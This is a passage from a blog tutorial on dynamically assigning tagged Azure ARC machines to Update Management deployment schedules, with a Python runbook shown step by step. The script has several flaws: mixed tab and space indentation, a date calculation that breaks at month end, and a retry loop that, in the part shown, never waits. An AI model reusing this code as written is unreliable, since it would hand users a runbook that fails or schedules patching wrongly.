elsewhere, provided your OSs are technically supported.</i></p> <p><i>In order for every reader to understand and find answers to their need, to I’ll try to give a comprehensive feedback from my experience, as well as sharing tips about design and architecture, automation, effectivement, troubleshooting issues, and so on!</i></p> <p><i>Have a nice reading.</i></p> <hr/> <h4 id="plan">Plan</h4> <ul> <li><a href="/blog/2022/Update-management-00/">Part 0 - Introduction</a></li> <li><a href="/blog/2022/Update-management-01/">Part 1 - Architecture</a></li> <li><a href="/blog/2022/Update-management-011/">Part 2 - Azure Policy</a></li> <li><a href="/blog/2022/Update-management-02/">Part 3 - Azure ARC</a></li> <li><a href="/blog/2022/Update-management-03/">Part 4 - Log Analytics agents</a></li> <li><a href="/blog/2023/Update-management-04/">Part 5 - Automation accounts</a></li> <li><a href="/blog/2023/Update-management-05/">Part 6 - Monitoring</a></li> <li><b><a href="/blog/2023/Update-management-06/">Part 7 - Security patches on Azure ARC (you’re here)</a></b></li> <li><a href="/blog/2023/Update-management-07/">Part 8 - Security patches on CentOS machines</a></li> </ul> <hr/> <h2 id="introduction">Introduction</h2> <p>So what’s wrong with Azure ARC? We saw many things in the previous posts, but what we did not see is how to integrate Azure ARC VMs on dynamic patches using tags. Let’s go!</p> <h2 id="context">Context</h2> <p>So, what’s wrong with Azure ARC? Let’s compare dynamic onboarding between Azure VMs and Azure ARC VMs.</p> <h5 id="dynamic-onboarding-for-azure-vm">Dynamic onboarding for Azure VM</h5> <p>In that case, as the image shows, we can define up to four criteria on which the deployment schedule will rely to onboard VMs at patching time. Unfortunately, this is only available for Azure VMs.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/patch_arc_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/patch_arc_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/patch_arc_1-1400.webp"/> <img src="/assets/img/patch_arc_1.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h5 id="dynamic-onboarding-for-azure-arc-vm">Dynamic onboarding for Azure ARC VM</h5> <p>As you can see here, Azure ARC VMs can’t be onboarded using the same four criteria. Instead, we need to configure a <b>saved search</b>, which is a simple KQL query saved within the Log Analytics workspace attached to our Automation Account.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/patch_arc_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/patch_arc_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/patch_arc_2-1400.webp"/> <img src="/assets/img/patch_arc_2.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>If we take a look at the queries <a href="https://learn.microsoft.com/en-us/azure/automation/update-management/configure-groups#define-dynamic-groups-for-non-azure-machines">Microsoft documentation</a>, we can see that saved searches, also known as <b>computer groups</b> rely on tables such as <i>Heartbeat</i>, or <i>Update</i>. The following example shows a request that returns all computers that have the <b>srv</b> string in their name. So this would be interesting to filter on the computer tag rather then its name… but <u>this is not possible : we can’t find any tag column in any table</u> of the Log Analytics workspace. <b>This is what’s wrong this Azure ARC VMs</b>.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Heartbeat
| where Computer contains "srv"
| distinct Computer
</code></pre></div></div> <p>The next section describe our workaround to still dynamically onboard those Azure ARC VMs dynamically, based on their tags.</p> <hr/> <h2 id="the-insane-workaround">The insane workaround!</h2> <p>The basic intent is very simple : automate the process of assigning an Azure ARC VM to a deployment schedule. To do it manually, go on a deployment schedule, click on <b>Machines to update</b>, look for the machines to onboard, click on them and save.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/patch_arc_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/patch_arc_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/patch_arc_3-1400.webp"/> <img src="/assets/img/patch_arc_3.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/patch_arc_4-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/patch_arc_4-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/patch_arc_4-1400.webp"/> <img src="/assets/img/patch_arc_4.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h3 id="script-logic">Script logic</h3> <p>The script in run every day between 15:00 and 18:00, week ends included. When a tag is changed on a VMs, schedules will be updated after the script run. There is one script per CSP resource group as shown on the scheme below.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/patch_arc_5-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/patch_arc_5-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/patch_arc_5-1400.webp"/> <img src="/assets/img/patch_arc_5.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h4 id="step-0">Step 0</h4> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="n">azure.identity</span> <span class="kn">import</span> <span class="n">DefaultAzureCredential</span>
<span class="kn">from</span> <span class="n">azure.mgmt.automation</span> <span class="kn">import</span> <span class="n">AutomationClient</span>
<span class="kn">from</span> <span class="n">azure.mgmt.automation.models</span> <span class="kn">import</span> <span class="n">NonAzureQueryProperties</span>
<span class="kn">from</span> <span class="n">azure.mgmt.hybridcompute</span> <span class="kn">import</span> <span class="n">HybridComputeManagementClient</span>
<span class="kn">from</span> <span class="n">azure.mgmt.loganalytics</span> <span class="kn">import</span> <span class="n">LogAnalyticsManagementClient</span>
<span class="kn">from</span> <span class="n">azure.loganalytics</span> <span class="kn">import</span> <span class="n">LogAnalyticsDataClient</span>
<span class="kn">from</span> <span class="n">azure.loganalytics.models</span> <span class="kn">import</span> <span class="n">QueryBody</span>
<span class="kn">from</span> <span class="n">azure.monitor.query</span> <span class="kn">import</span> <span class="n">LogsQueryClient</span><span class="p">,</span> <span class="n">LogsQueryStatus</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">import</span> <span class="n">automationassets</span>
<span class="kn">from</span> <span class="n">automationassets</span> <span class="kn">import</span> <span class="n">AutomationAssetNotFound</span>
<span class="kn">from</span> <span class="n">azure.core.exceptions</span> <span class="kn">import</span> <span class="n">HttpResponseError</span>

<span class="c1"># Handle query output
</span><span class="kn">import</span> <span class="n">pandas</span> <span class="k">as</span> <span class="n">pd</span>

<span class="c1"># System lib
</span><span class="kn">import</span> <span class="n">sys</span>
<span class="kn">import</span> <span class="n">random</span>
<span class="kn">import</span> <span class="n">time</span>
<span class="kn">import</span> <span class="n">os</span>

<span class="c1"># Retrieve all variable that are set in our automation account
</span><span class="n">automation_account_name</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">aa_name</span><span class="sh">"</span><span class="p">)</span>
<span class="n">resource_group_name</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">resource_group_name</span><span class="sh">"</span><span class="p">)</span>
<span class="n">subscription_id</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">subscription_id</span><span class="sh">"</span><span class="p">)</span>
<span class="n">saved_searche_id</span> <span class="o">=</span> <span class="n">automationassets</span><span class="p">.</span><span class="nf">get_automation_variable</span><span class="p">(</span><span class="sh">"</span><span class="s">saved_search_name</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># Authenticate
# This function will use the automation account identity to get an authentication token.
# This token will then be used to access all the APIs we need.
</span><span class="n">token_credential</span> <span class="o">=</span> <span class="nc">DefaultAzureCredential</span><span class="p">()</span>

<span class="c1"># Instanciate clients
# In order to communicate with the different APIs, it is necessary to instanciate clients.
#   - The 'AutomationClient' will be used to get and update deployment schedules
#   - The 'LogAnalyticsManagementClient' will be used to get the Log Analytics that is associated to our Automation Account
#   - The 'HybridComputeManagementClient' will be used to get and modify Azure ARC VMs
#   - The 'LogsQueryClient' will be used to send KQL queries to the Log Analytics workspace and fetch results
</span><span class="n">automation_client</span> <span class="o">=</span> <span class="nc">AutomationClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">,</span> <span class="n">subscription_id</span><span class="p">)</span>
<span class="n">log_analytics_client</span> <span class="o">=</span> <span class="nc">LogAnalyticsManagementClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">,</span> <span class="n">subscription_id</span><span class="p">)</span>
<span class="n">azure_arc_client</span> <span class="o">=</span> <span class="nc">HybridComputeManagementClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">,</span> <span class="n">subscription_id</span><span class="p">)</span>
<span class="n">log_analytics_data_client</span> <span class="o">=</span> <span class="nc">LogsQueryClient</span><span class="p">(</span><span class="n">token_credential</span><span class="p">)</span></code></pre></figure> <h4 id="step-1">Step 1</h4> <p>In this next step, we want to make sure that each machine that we handle is actually connected to Azure, otherwise this will generate errors or unexpected behaviors. To achieve this, we send a request to the Log Analytics workspace that collects all the Heartbeats.</p> <p>Then, for each connected machine, we must retrieve its tag. Since the Heartbeat table doesn’t return tags, we look for them in the Azure ARC service.</p> <ol> <li>Query Log Analytics workspace to get VMs connected to Azure</li> <li>For each connected machine <ul> <li>Get its tags using the Azure ARC API</li> </ul> </li> </ol> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">### 1. GET ALL CONNECTED MACHINES ###
# This block of code is used to retrieve the Log Analytics workspace ID. This ID will be used to send
# the KQL query below to the Log Analytics workspace.
</span><span class="n">query</span> <span class="o">=</span> <span class="sh">"</span><span class="s">Heartbeat | distinct Computer, ResourceGroup, OSType, Resource</span><span class="sh">"</span>
<span class="n">workspace_resource_id</span> <span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">linked_workspace</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">).</span><span class="nb">id</span>
<span class="n">workspace_name</span> <span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">linked_workspace</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">).</span><span class="nb">id</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">workspace_id</span> <span class="o">=</span> <span class="n">log_analytics_client</span><span class="p">.</span><span class="n">workspaces</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">workspace_name</span><span class="p">).</span><span class="n">customer_id</span>
<span class="n">workspace</span> <span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">linked_workspace</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">)</span>

<span class="c1"># The following block of code will send the KQL query to the Log Analytics workspace. We pass a 'timespan' parameter in the query
# to tell the Log Analytics workspace that we only want to make the query on the last 24 hours (1 day) of data.
</span><span class="n">end_time</span><span class="o">=</span><span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">(</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">)</span>
<span class="n">start_time</span> <span class="o">=</span> <span class="n">end_time</span> <span class="o">-</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">log_analytics_data_client</span><span class="p">.</span><span class="nf">query_workspace</span><span class="p">(</span><span class="n">workspace_id</span><span class="p">,</span> <span class="n">query</span><span class="p">,</span> <span class="n">timespan</span><span class="o">=</span><span class="p">(</span><span class="n">start_time</span><span class="p">,</span> <span class="n">end_time</span><span class="p">))</span>

<span class="c1"># Block of code to handle the result of the query that is store in the 'data' variable.
</span><span class="k">if</span> <span class="n">response</span><span class="p">.</span><span class="n">status</span> <span class="o">==</span> <span class="n">LogsQueryStatus</span><span class="p">.</span><span class="n">PARTIAL</span><span class="p">:</span>
	<span class="n">error</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">partial_error</span>
	<span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">partial_data</span>
	<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Failed to retrieve connected machines</span><span class="sh">"</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">response</span><span class="p">.</span><span class="n">status</span> <span class="o">==</span> <span class="n">LogsQueryStatus</span><span class="p">.</span><span class="n">SUCCESS</span><span class="p">:</span>
	<span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">tables</span>

<span class="c1">### 2. RETRIEVE TAG FOR EACH CONNECTED MACHINE ###
# In this next block of code, we iterate over all our connected machine, and we make a request to the Azure ARC to get the VM tags.
# Once all the data is retrieved, it is added to a list of dictionnaries named 'connected_machines'.
</span><span class="n">connected_machines</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">table</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
	<span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="nc">DataFrame</span><span class="p">(</span><span class="n">data</span><span class="o">=</span><span class="n">table</span><span class="p">.</span><span class="n">rows</span><span class="p">,</span> <span class="n">columns</span><span class="o">=</span><span class="n">table</span><span class="p">.</span><span class="n">columns</span><span class="p">)</span>
	<span class="c1"># print(df)
</span>	<span class="k">for</span> <span class="n">index</span><span class="p">,</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">df</span><span class="p">.</span><span class="nf">iterrows</span><span class="p">():</span>
		<span class="c1"># Local vars
</span>		<span class="n">machine_name</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
		<span class="n">machine_rg</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
		<span class="n">machine_os</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
		<span class="n">machine_resource</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
		<span class="n">machine_tag</span> <span class="o">=</span> <span class="sh">""</span>

		<span class="c1"># Get tag using Azure ARC API
</span>		<span class="k">try</span><span class="p">:</span>
			<span class="n">arc_vm</span> <span class="o">=</span> <span class="n">azure_arc_client</span><span class="p">.</span><span class="n">machines</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">machine_rg</span><span class="p">,</span> <span class="n">machine_resource</span><span class="p">)</span>
			<span class="n">machine_tag</span> <span class="o">=</span> <span class="n">arc_vm</span><span class="p">.</span><span class="n">tags</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">patch</span><span class="sh">'</span><span class="p">)</span>
		<span class="k">except</span><span class="p">:</span>
			<span class="nf">print</span><span class="p">(</span><span class="n">machine_resource</span><span class="p">)</span>
			<span class="nf">print</span><span class="p">(</span><span class="n">machine_rg</span><span class="p">)</span>
			<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">|---- Machine </span><span class="sh">"</span> <span class="o">+</span> <span class="n">machine_name</span> <span class="o">+</span> <span class="sh">"</span><span class="s"> not found in Azure ARC</span><span class="sh">"</span><span class="p">)</span>

		<span class="n">dic</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">Computer</span><span class="sh">'</span><span class="p">:</span><span class="n">machine_name</span><span class="p">,</span> <span class="sh">'</span><span class="s">ResourceGroup</span><span class="sh">'</span><span class="p">:</span><span class="n">machine_rg</span><span class="p">,</span> <span class="sh">'</span><span class="s">OSType</span><span class="sh">'</span><span class="p">:</span><span class="n">machine_os</span><span class="p">,</span> <span class="sh">'</span><span class="s">Resource</span><span class="sh">'</span><span class="p">:</span><span class="n">machine_resource</span><span class="p">,</span> <span class="sh">'</span><span class="s">Tag</span><span class="sh">'</span><span class="p">:</span><span class="n">machine_tag</span><span class="p">}</span>
		<span class="n">connected_machines</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">dic</span><span class="p">)</span></code></pre></figure> <p>At the end of this second step we have a list of machines that are eligible to be updated. In the next step, we will assign all these machines to different deployment schedules based on their tags.</p> <h4 id="step-2">Step 2</h4> <ol> <li>Iterate over all deployment schedules</li> <li>:gear: Flush all machines that were assigned to the current deployment schedule</li> <li>:arrows_counterclockwise: Iterate over all our connected machines * :white_check_mark: Check if the machine tag and the deployment schedule match, otherwise continue * :gear: Assign the machine to the deployment schedule</li> <li>:gear: Update the deployment schedule</li> </ol> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">### 2. ITERATE OVER ALL DEPLOYMENT SCHEDULES AND REASSIGN MACHINES ###
# When using the Azure portal, deployment schedules have an associated schedule that defines when the patch will run.
# However, when using the Azure API, deployment schedules are actually made of :
#   - UpdateConfiguration objets, that defines which OS is targeted, which packages, etc.
#   - Schedule objets, that defines the reccurence, the start time, etc.
# The weird thing is that we can't retreive the Schedule from the UpdateConfiguration object.
# Thus, to resolve this, we get the list of UpdateConfiguration, we also get the list of Schedules, and we will make them match later.
</span><span class="n">update_configurations</span> <span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">software_update_configurations</span><span class="p">.</span><span class="nf">list</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span><span class="n">automation_account_name</span><span class="p">).</span><span class="n">value</span>
<span class="n">schedule_configurations</span> <span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">schedule</span><span class="p">.</span><span class="nf">list_by_automation_account</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span><span class="n">automation_account_name</span><span class="p">)</span>

<span class="c1"># In this long loop, we iterate over each UpdateConfiguration. 
</span><span class="k">for</span> <span class="n">update_configuration</span> <span class="ow">in</span> <span class="n">update_configurations</span><span class="p">:</span>
    <span class="c1"># Local vars
</span>    <span class="n">schedule</span> <span class="o">=</span> <span class="bp">None</span>

    <span class="c1"># In this block of code, we clear the list of VMs that are currently assigned to the deployment schedule.
</span>    <span class="c1"># We need to do this because, if a VM tag is changed, the machine would appear in two deployments schedules.
</span>    <span class="n">software_update_configuration_p</span> <span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">software_update_configurations</span><span class="p">.</span><span class="nf">get_by_name</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">,</span> <span class="n">update_configuration</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
    <span class="n">software_update_configuration_p</span><span class="p">.</span><span class="n">update_configuration</span><span class="p">.</span><span class="n">non_azure_computer_names</span><span class="p">.</span><span class="nf">clear</span><span class="p">()</span>

    <span class="c1"># Here, we check the OS for which the deployment schedule is configured.
</span>    <span class="n">update_configuration_os</span> <span class="o">=</span> <span class="n">update_configuration</span><span class="p">.</span><span class="n">update_configuration</span><span class="p">.</span><span class="n">additional_properties</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">operatingSystem</span><span class="sh">'</span><span class="p">)</span>

    <span class="c1"># In this block of code, we decide to ignore two types of deployment schedules :
</span>    <span class="c1">#   - MANUAL deployment schedules - Those deployment schedule are created to patch on-demand, they are part of another process
</span>    <span class="c1">#   - CENTOS deployment schedules - Those deployment schedule are created to patch CENTOS, they are part of another process
</span>    <span class="k">if</span> <span class="sh">"</span><span class="s">MANUAL</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">update_configuration</span><span class="p">.</span><span class="n">name</span> <span class="ow">or</span> <span class="sh">"</span><span class="s">CENTOS</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">update_configuration</span><span class="p">.</span><span class="n">name</span><span class="p">:</span>
        <span class="k">continue</span>
    
    
    <span class="c1"># Remember line 9 when we retrieved the list of Schedules? We use this list to find the schedule associated to the current 
</span>    <span class="c1"># deployment schedule, based on name matching. We need to get this schedule to update it with a new start time. If we don't 
</span>    <span class="c1"># do this, the deployment schedule will be updated with a schedule that has a start_time in the past, and we will get an error.
</span>    <span class="c1"># Thus, we simply need to recalculate the start_time.
</span>    <span class="k">for</span> <span class="n">schedule_configuration</span> <span class="ow">in</span> <span class="n">schedule_configurations</span><span class="p">:</span>
        <span class="c1"># If update configuration and schedules match, then we found the right schedule
</span>        <span class="k">if</span> <span class="n">update_configuration</span><span class="p">.</span><span class="n">name</span> <span class="ow">in</span> <span class="n">schedule_configuration</span><span class="p">.</span><span class="n">name</span><span class="p">:</span>
            <span class="n">schedule</span> <span class="o">=</span> <span class="n">automation_client</span><span class="p">.</span><span class="n">schedule</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">,</span> <span class="n">schedule_configuration</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>


    <span class="c1"># In this block of code, we iterate over our connected machine to check if we should assign them to the current
</span>    <span class="c1"># deployment schedule by checking OS and tags. If the VM matches our criteria, it is added to the list of 
</span>    <span class="c1"># machines that will be assigned to the deployment schedule.
</span>    <span class="k">for</span> <span class="n">connected_machine</span> <span class="ow">in</span> <span class="n">connected_machines</span><span class="p">:</span>
        <span class="c1"># Get connected machine attributes
</span>        <span class="n">machine_rg</span> <span class="o">=</span> <span class="n">connected_machine</span><span class="p">[</span><span class="sh">'</span><span class="s">ResourceGroup</span><span class="sh">'</span><span class="p">]</span>
        <span class="n">machine_name</span> <span class="o">=</span> <span class="n">connected_machine</span><span class="p">[</span><span class="sh">'</span><span class="s">Computer</span><span class="sh">'</span><span class="p">]</span>
        <span class="n">machine_resource</span> <span class="o">=</span> <span class="n">connected_machine</span><span class="p">[</span><span class="sh">'</span><span class="s">Resource</span><span class="sh">'</span><span class="p">]</span>
        <span class="n">machine_os</span> <span class="o">=</span> <span class="n">connected_machine</span><span class="p">[</span><span class="sh">'</span><span class="s">OSType</span><span class="sh">'</span><span class="p">]</span>
        <span class="n">machine_tag</span> <span class="o">=</span> <span class="n">connected_machine</span><span class="p">[</span><span class="sh">'</span><span class="s">Tag</span><span class="sh">'</span><span class="p">]</span>

        <span class="k">if</span> <span class="n">machine_tag</span><span class="p">:</span>
            <span class="nf">if </span><span class="p">(</span><span class="n">machine_os</span> <span class="ow">in</span> <span class="n">update_configuration_os</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">machine_tag</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">:</span><span class="sh">'</span><span class="p">,</span><span class="sh">'</span><span class="s">-</span><span class="sh">'</span><span class="p">)</span> <span class="ow">in</span> <span class="n">update_configuration</span><span class="p">.</span><span class="n">name</span><span class="p">):</span>
                <span class="k">if</span> <span class="n">machine_name</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">software_update_configuration_p</span><span class="p">.</span><span class="n">update_configuration</span><span class="p">.</span><span class="n">non_azure_computer_names</span><span class="p">:</span>
                    <span class="c1"># Add machine to the list
</span>                    <span class="n">software_update_configuration_p</span><span class="p">.</span><span class="n">update_configuration</span><span class="p">.</span><span class="n">non_azure_computer_names</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">machine_name</span><span class="p">)</span>

    <span class="c1"># In this next block of code, we calculate the new start time for the schedule.
</span>	<span class="c1"># IMPORTANT : because the runbook runs between 15:00 and 18:00, we must schedule it as follows :
</span>	<span class="c1">#	   - For 03:00 schedules =&gt; Schedule it on 'day+1', since 03:00 of the current day is in the past
</span>	<span class="c1">#	   - For 12:00 schedules =&gt; Schedule it on 'day+1', since 03:00 of the current day is in the past
</span>	<span class="c1">#	   - For 22:00 schedules =&gt; Schedule it on 'day', since 22:00 of the current day is in a few hours
</span>	<span class="n">hours</span> <span class="o">=</span> <span class="n">software_update_configuration_p</span><span class="p">.</span><span class="n">schedule_info</span><span class="p">.</span><span class="n">start_time</span>
	<span class="n">date</span> <span class="o">=</span> <span class="nf">datetime</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="n">year</span><span class="p">,</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="n">month</span><span class="p">,</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="n">day</span><span class="p">)</span>
	<span class="k">if</span> <span class="sh">"</span><span class="s">22-00</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">update_configuration</span><span class="p">.</span><span class="n">name</span><span class="p">:</span>
		<span class="n">day</span> <span class="o">=</span> <span class="n">date</span><span class="p">.</span><span class="n">day</span>
	<span class="k">else</span><span class="p">:</span>
		<span class="n">day</span> <span class="o">=</span> <span class="n">date</span><span class="p">.</span><span class="n">day</span><span class="o">+</span><span class="mi">1</span>
	<span class="n">software_update_configuration_p</span><span class="p">.</span><span class="n">schedule_info</span><span class="p">.</span><span class="n">start_time</span> <span class="o">=</span> <span class="nf">datetime</span><span class="p">(</span><span class="n">date</span><span class="p">.</span><span class="n">year</span><span class="p">,</span> <span class="n">date</span><span class="p">.</span><span class="n">month</span><span class="p">,</span> <span class="n">day</span><span class="p">,</span> <span class="n">hours</span><span class="p">.</span><span class="n">hour</span><span class="p">,</span> <span class="n">hours</span><span class="p">.</span><span class="n">minute</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
	
    <span class="c1"># When creating a deployment schedule, VMs must be assigned to it, otherwise we will get an error at deployment time.
</span>    <span class="c1"># Here are the different options to assign machines to a deployment schedule :
</span>    <span class="c1">#   - Assign machines statically : this is what our script do
</span>    <span class="c1">#   - Assign machines dynamically using a query
</span>    <span class="c1"># Thus, when we have no machine assigned to a deployment schedule, we need to create a create and assign it a query.
</span>    <span class="c1"># The query does not return any VM, it only allows us to deploy our delpoyment schedule without any error.
</span>    <span class="n">non_azure_query</span> <span class="o">=</span> <span class="nc">NonAzureQueryProperties</span><span class="p">()</span>
    <span class="n">non_azure_query</span><span class="p">.</span><span class="n">function_alias</span> <span class="o">=</span> <span class="n">saved_searche_id</span>
    <span class="n">non_azure_query</span><span class="p">.</span><span class="n">workspace_id</span> <span class="o">=</span> <span class="n">workspace_resource_id</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">software_update_configuration_p</span><span class="p">.</span><span class="n">update_configuration</span><span class="p">.</span><span class="n">targets</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Error processing this maintenance schdule : </span><span class="sh">"</span> <span class="o">+</span> <span class="n">update_configuration</span><span class="p">.</span><span class="n">name</span><span class="p">)</span>
        <span class="k">continue</span>
    <span class="n">software_update_configuration_p</span><span class="p">.</span><span class="n">update_configuration</span><span class="p">.</span><span class="n">targets</span><span class="p">.</span><span class="n">non_azure_queries</span> <span class="o">=</span> <span class="p">[</span><span class="n">non_azure_query</span><span class="p">]</span>

    <span class="c1"># Finally we update our deployment schedule, and we handle an error that Azure may raise which is related to the number of request we send.
</span>    <span class="c1"># If we receive the error, the script will sleep for a random amount of time between 30 and 90 seconds.
</span>    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">automation_client</span><span class="p">.</span><span class="n">software_update_configurations</span><span class="p">.</span><span class="nf">create</span><span class="p">(</span><span class="n">resource_group_name</span><span class="p">,</span> <span class="n">automation_account_name</span><span class="p">,</span> <span class="n">update_configuration</span><span class="p">.</span><span class="n">name</span><span class="p">,</span> <span class="n">software_update_configuration_p</span><span class="p">)</span>
            <span class="k">break</span>
        <span class="k">except</span> <span class="n">HttpResponseError</span><span class="p">:</span>
            <span class="nf">print </span><span class="p">(</span><span class="sh">"</span><span class="s">Exception HttpResponseError (Erreur 429 : too much API calls)</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">s</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">randint</span><span class="p">(</span><span class="mi">30</span><span class="p">,</span> <span class="mi">90</span><span class="p">)</span>
